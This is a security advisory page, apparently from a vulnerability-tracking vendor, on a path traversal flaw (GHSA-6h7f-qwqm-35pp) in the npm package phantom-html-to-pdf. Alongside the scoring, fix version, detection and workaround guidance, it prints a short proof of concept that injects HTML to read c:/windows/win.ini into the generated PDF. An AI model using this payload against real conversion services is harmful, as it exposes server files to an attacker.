Arbitrary File Read in phantom-html-to-pdfGHSA-6h7f-qwqm-35pp
HIGHFix: pofider/phantom-html-to-pdf@b5d2da2GHSA-6h7f-qwqm-35pp is a high-severity (CVSS 7.5) Path Traversal vulnerability in phantom-html-to-pdf. 1 public exploit reference exists, so weaponization risk is real. A fix is available for phantom-html-to-pdf — see the affected versions and patch details below.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-6h7f-qwqm-35pp by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 385,738 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
phantom-html-to-pdfnpmDescription
This affects the package phantom-html-to-pdf before 0.6.1.
PoC
var fs = require('fs') var conversion = require("phantom-html-to-pdf")();
conversion.allowLocalFilesAccess = false conversion({
html: "document.write(window.location='c:/windows/win.ini')"
}, function(err, pdf) {
var output = fs.createWriteStream('output.pdf') console.log(pdf.logs);
console.log(pdf.numberOfPages);
pdf.stream.pipe(output);
});
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | phantom-html-to-pdf | all versions | 0.6.2npm install phantom-html-to-pdf@0.6.2 |
Affected Products
phantom-html-to-pdfjsreportResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phantom-html-to-pdf, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update phantom-html-to-pdf to 0.6.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6h7f-qwqm-35pp is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is GHSA-6h7f-qwqm-35pp in your dependencies?
Find it across npm, including transitive dependencies.